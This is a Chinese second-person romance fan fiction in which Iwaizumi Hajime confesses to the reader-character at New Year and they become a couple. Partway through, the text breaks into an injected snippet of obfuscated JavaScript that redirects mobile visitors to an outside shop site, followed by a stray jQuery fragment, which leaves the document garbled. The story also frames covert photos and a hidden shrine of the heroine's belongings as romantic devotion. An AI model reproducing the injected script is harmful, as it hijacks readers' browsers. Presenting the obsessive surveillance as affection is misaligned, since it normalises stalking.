三周过得比想象中快。
你的公寓装好了新的防盗门，换了锁，安保系统升级完毕，搬回去的那天，岩泉一帮你收拾行李。
他的动作很慢，慢到不正常。
“岩泉君，”你笑他，“你怎么比我还舍不得？”
他顿了顿，没说话，继续整理你留在浴室的用品，你的牙刷，你的洗面奶，你的身体乳——这些和他并排摆放了三周的东西，现在要被带走。
客厅渐渐空了，沙发恢复了一个人的样子，餐桌少了一套餐具，冰箱里你买的酸奶和水果被清空。
最后，他在你床头发现了那本《艺术的世界》——你这三周睡前看的书，折角停留在第127页。
“这本书……”他低声说，“你还没看完。”
“啊，真的，那我带回去。”你伸手去接。
但他没松手，你们各执书的一端，僵持了几秒，岩泉一抬起眼睛看你，目光很深，像有什么东西在底下涌动。
“以后，还能常来吗？”
“当然啊。”
你笑起来，“我们不是每周都要见面吗？而且我欠你好多顿饭呢，得慢慢还。”
他松开了手，书落到你怀里。
“嗯。”他转过身，继续帮你拉行李箱的拉链，“随时来。”
——
你没看到他转身瞬间眼底翻涌的暗色，就像你不知道，这三个星期对他来说意味着什么。
早晨有人陪他喝咖啡，晚上有人等他回家吃饭，沙发上多了一个抱枕，浴室里多了一种香气，生活里多了一个需要他照顾也让他牵挂的人。
而现在，这个人要走了。
回到那个有马克、有派对、有无数潜在追求者的世界，回到那个他无法名正言顺站在她身边、只能以“朋友”身份旁观的世界。
岩泉一把行李箱推到门口，直起身。
“我送你。”
“不用啦，我叫了车。”
“我送你。”他重复，语气不容拒绝。
——
到了你的公寓楼下，他帮你把行李搬上去，检查了新锁，测试了警报系统，最后站在门口，像三周前那样。
你笑着说，“谢谢你这三周的照顾，岩泉君。”
“……嗯。”
“周末一起吃饭？我请你，地方你挑。”
“好。”
他转身走向电梯，电梯门关上前，你对他挥手，他点了点头。
电梯下行，数字一层层跳，岩泉一靠在轿厢壁上，闭上眼睛。
口袋里，手机震动了一下，是你的消息：
“到家了跟我说一声哦，路上小心。”
——
他盯着这条消息，很久没动，然后他打开那个加密相册，翻到最新一张——昨天早上，你在厨房偷吃他做好的玉子烧，被他抓拍时的样子。
回到公寓，打开门。
安静。
岩泉一站在玄关，没开灯，他径直走进浴室。
冷水从头顶浇下，他需要冷静。
但闭上眼睛，全是你，你笑着的样子，你睡着的样子，你说“岩泉君是我最重要的朋友”的样子。
水声中，岩泉一拳砸在瓷砖墙上，发出一声闷响。
不够。
朋友不够。
照顾不够。
等待不够。
他要更多。
更多。
——
而此刻，在你的新公寓里，你躺在陌生的床上，翻来覆去睡不着。
枕头没有岩泉一客房的那么软，空气里没有他公寓那种木质香，窗外传来的也不是尔湾安静的街道声，而是洛杉矶夜晚永不停息的喧嚣。
你拿起手机，点开和岩泉一的聊天窗口。
最后一条还是你发的“到家了跟我说一声”，他没回。
你想了想，又发了一条：
“突然不习惯一个人睡了，你公寓的床垫是什么牌子的？好好睡。”
发送。
一分钟，两分钟，没回复。
你放下手机，闭上眼睛，脑海里浮现的是这三周的点点滴滴，他做饭时专注的侧脸，他帮你吹头发时笨拙却温柔的手势。
心跳莫名快了起来。
就在这时，手机震动。
岩泉一的回复，简短的一行字：
“以后告诉你。”
————
十二月三十一日，洛杉矶。
你站在衣柜前，第三次换衣服，一件深红色的针织裙，领口开得刚刚好。
手机震了。
岩泉一：出发了，四十分钟到。
你盯着这条消息，心跳突然快了起来。
这一个月很奇怪。
搬回自己公寓后，生活恢复了“正常”。
正常的独居，正常的上课，正常的社交，但“正常”反而变得陌生，你开始不习惯一个人的厨房，不习惯早晨没有咖啡机的声音。
你们依然每周见面，他来找你，或者你去找他，吃饭，看展览，逛超市——做的都是和以前一样的事，但有什么不一样了。
你看他的时间变长了。
他做饭时，你会看着他的侧脸发呆，他说话时，会注意他喉结的滚动，他离开时，你会站在窗边看着他的车消失，然后在窗边站很久。
你开始频繁点开和他的聊天窗口，打了字又删掉，最后只发一些无关紧要的表情包。
你开始在意他回消息的速度，在意他每句话后面的句号，在意他偶尔发来的照片里有没有别的女生。
你开始想，这种“在意”是什么。
但你没敢问。
因为每次对上他的眼睛，你都会先移开视线。
四十分钟后，门铃响了。
你打开门，岩泉一站在门口，穿着一件深灰色毛衣，领口露出一点锁骨，头发比平时打理得更整齐，整个人像从杂志里走出来的——如果杂志模特的目光不那么紧张的话。
他手里提着两个纸袋，看见你的瞬间，动作顿了顿。
“你……”他开口，又停住，喉结滚动了一下，“很好看。”
你低头看了看自己，突然有点不好意思：“这件会不会太正式了？”
“不会。”他说得很快，然后移开视线，“很合适。”
你接过一个纸袋往里看：“买了什么？”
“食材。”他清了清嗓子，“你不是说想吃寿喜烧吗。”
“进来吧。”你侧身让他进门，“外面冷。”
————
寿喜烧的材料摆满料理台。
你们并肩站在厨房里，他负责切肉，你负责洗菜，窗外是洛杉矶的夜空，远处偶尔传来几声零星的鞭炮——有人在提前庆祝新年。
“马克昨天又发消息了。”你随口说。
岩泉一切肉的动作停了一秒，然后继续。
“说什么？”
“还是派对的事，今晚他们在威尼斯海滩有个大派对，邀请我去。”
岩泉一没说话，继续切肉，刀落在砧板上的声音比刚才重了一点。
“你怎么说的？”
“我说我有安排了。”
“什么安排？”
你侧头看他，“和一个很重要的朋友跨年。”
“朋友”两个字出口的瞬间，他的手指顿了顿，然后继续切肉，只是动作更慢了。
你看着他，突然有点想笑——又有点想叹气。
“岩泉君，”你轻声说，“肉要被你切碎了。”
晚饭吃到一半，电视里开始放红白歌会。
你们盘腿坐在地毯上，面前是热气腾腾的寿喜烧锅，窗外偶尔有烟花升空，在夜空中炸开短暂的绚烂。
“今年过得怎么样？”他问。
你想了想：“挺好的，有了一些新朋友，课业也顺利，最重要的是……”你看向他，“遇到了老同学。”
他夹肉的动作顿了顿，然后点点头：“嗯，我也是。”
“你也是什么？遇到了老同学？”
“嗯，最幸运的事。”他说，声音有点低。
————
十一点五十分。
你们站在阳台上，看着远处的城市灯火，洛杉矶的夜晚从来不真正黑暗，霓虹和路灯交织成一片光海，远处偶尔有烟花升起，很小，像星星坠落。
“冷吗？”他问。
你摇摇头，但他还是把外套拿来，披在你肩上。
“岩泉君，”你轻声说，“你总是这样。”
“怎样？”
“照顾人。”
他沉默了几秒：“习惯了。”
“为什么习惯？”
这次沉默更长，远处又升起一簇烟花，短暂的绚烂照亮他的侧脸。
“因为想照顾的人，”他的声音很轻，“一直只有一个。”
你转过头看他。
他没看你，盯着远处的夜空，霓虹灯的光映在他眼里，明灭不定，他的侧脸线条紧绷，喉结滚动了一下，又一下。
“岩泉君……”
“快零点了。”他打断你。
你低头看手机——23:59。
远处的人群开始倒数，隐约的欢呼声随风飘来。
“10、9、8……”
“4、3……”
数到“3”时，岩泉一突然握住你的手，你转头看他，烟花在他眼里绽放，照亮那张总是克制的脸。
“2、1——新年快乐！”
你还没开口，他吻了你。
烟花在远处炸开，绚烂的光芒照亮整个夜空，人群的欢呼声此起彼伏，像海浪一阵阵涌来。
他的嘴唇温热，带着一点点酒的味道，他的手指插入你的发间，另一只手紧紧搂住你的腰，把你整个人按进怀里。
吻很深，很深，像积蓄了太久的潮水。
很久很久之后，他松开你，额头抵着你的额头，呼吸急促，交缠在一起。
“对不起。”他的声音沙哑，“但我忍不住了。”
“我知道这可能会吓到你，但我控制不了，你住在我那里的三周，是我这段时间最快乐的日子，你走了之后，我每天晚上都睡不着，想着你在做什么，和谁在一起，有没有……想过我。”
他抬起头，眼睛里有水光闪烁。
“我不是你‘最重要的朋友’，我不想当你的朋友，我想当那个每天早上可以给你做早餐的人，晚上可以等你回家的人，每个跨年夜都可以第一个吻你的人。”
他握住你的双手，“我喜欢你，从高中到现在，只喜欢你一个人。”
烟花还在远处绽放，人群还在欢呼。
你看着他，然后踮起脚尖，捧住他的脸，吻了他。
“笨蛋。”你在他的唇边低声说，“我等这句话，也等很久了。”
他愣住，然后他的手臂猛地收紧，把你整个人抱进怀里，脸埋在你肩窝。
“真的？”他的声音闷闷的，带着一点不敢相信。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17850824|210507||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>“真的。”你抚摸他的后脑勺，“从你开车两小时来给我送粥的那天开始，不，或者更早，我也说不清了”
他抬起头，眼睛红红的，但嘴角终于扬起一个弧度，灿烂得不像岩泉一，又确确实实是他的笑容。
“新年快乐。”你说。
“新年快乐。”他低下头，再次吻你。
这次的吻温柔得多，绵长得多。
十二点半，你们回到屋内。
“太晚了，”他说，“我该走了。”
你看着他，没说话。
他也没动。
你们站在客厅中央，他的手还握着你的手，谁都没松开。
“或者……”他开口，又停住。
“或者？”你看着他。
“我可以……留下来吗？我睡沙发。”
你看着他紧张的样子，忍不住笑了。
“沙发不舒服。”
他的表情僵了一瞬。
“客房也没收拾。”你继续说。
他垂下眼睛：“那我……”
你踮起脚，在他耳边轻声说：“但我允许你睡我的床。”
他猛地抬起头，“你确定？”
你看着他，“确定。”
————
岩泉一开始每天开车送你上学，在你下课的教学楼外等，你的朋友们很快都知道了——那个总在楼下等的亚洲男生，是你男朋友。
“看起来很凶诶。”安娜小声说。
“但对她超温柔的！昨天我看见他帮她系鞋带！”
“而且身材超好，有在运动吧？”
岩泉一确实很凶——对别人，有男生想跟你搭讪，他会不动声色地站到你身边，手搭在你腰上，一个眼神就让对方知难而退。
某天你看手机时，他突然问：“马克还在约你？”
你翻聊天记录给他看：“我拒绝了，说我有男朋友了。”
他表情缓和了些，但当晚做时，还是在你耳边反复问：“谁是你男朋友？嗯？”
“你……岩泉一……”
“再说一遍。”
“岩泉一……是我男朋友……”
他会满意地吻你，动作温柔下来。
一个月后，你去他公寓过周末，他临时被导师叫去开会，你在书房找书看时，发现那个上锁的抽屉忘了关。
好奇心驱使下，你拉开了它。
然后你看见了——电影票根，发绳，还有你穿过的那件T恤，最下面是一本厚厚的相册，里面全是你的照片：高中文化祭的，毕业典礼的，在美国重逢后的，甚至还有你社交账号上的截图。
你坐在书房地板上，一页页翻看，照片旁边有他写的日期和简短的备注。
“2012.5.23她笑得很开心。”
“2013.3.18毕业典礼，她哭了。”
“2013.10.7重逢。她还记得我。”
“2014.12.15她睡在我的沙发上。”
最后一页是你搬走后他写的：
“空，等她回来。”
你听到开门声时，慌忙把东西放回去，但太迟了，岩泉一已经站在书房门口，看见了你手里的相册。
空气凝固了。
他走进来，在你面前蹲下，拿过相册，沉默地合上。
“……对不起。”你小声说，“我不该看的。”
“不用道歉。”他声音很平，“都是事实。”
他把你拉起来，抱进怀里，很久很久。
“从高中就开始了。”他最终在你耳边低声说，“你笑一下，我能记一星期，你哭一次，我整晚睡不着。”
“为什么不告诉我？”
“怕吓到你。”他把脸埋在你肩窝，“怕你像躲变态一样躲我。”
你捧起他的脸，“岩泉一，以后不用藏了。”
他怔住了。
“这些，这些回忆，这些心情，都不用藏了，大大方方放出来，让我知道。”
你吻了吻他的眼睛：“我也喜欢你，虽然可能没有你喜欢得那么久……但我会努力追上的。”
“……嗯。”
他在你肩头闷声应道，声音带着不易察觉的哽咽。
————
一个月后的某个清晨
你被吻醒。
岩泉一撑在你上方，晨光在他肩头跳跃，他刚晨跑回来，身上还带着朝阳的味道。
“早。”他低声说，吻了吻你的鼻尖。
“早……”你迷迷糊糊地搂住他脖子，“几点？”
“七点，还早，再睡会儿。”
“那你呢？”
“陪你。”
他躺下来，把你捞进怀里，你的后背贴着他温热的胸膛，他的手自然地搭在你腰上。
“岩泉。”你闭着眼睛说。
“嗯？”
“我昨晚梦见高中了。”
“梦见什么？”
“梦见体育祭，你跑接力最后一棒，冲过终点后大家都在欢呼。”你转过身面对他，“但你第一件事是看向观众席，那时候我就该发现的。”
他笑了，吻了吻你的额头：“现在发现也不晚。”
“今天想去哪儿？”他问。
“哪儿都行。”你蹭蹭他鼻尖，“和你一起就行。”
“好。”他说，“那就和我一起，一直一起。”
阳光洒满床铺，新的一天开始了，在太平洋的彼岸，在加州的阳光下，在彼此的眼睛里。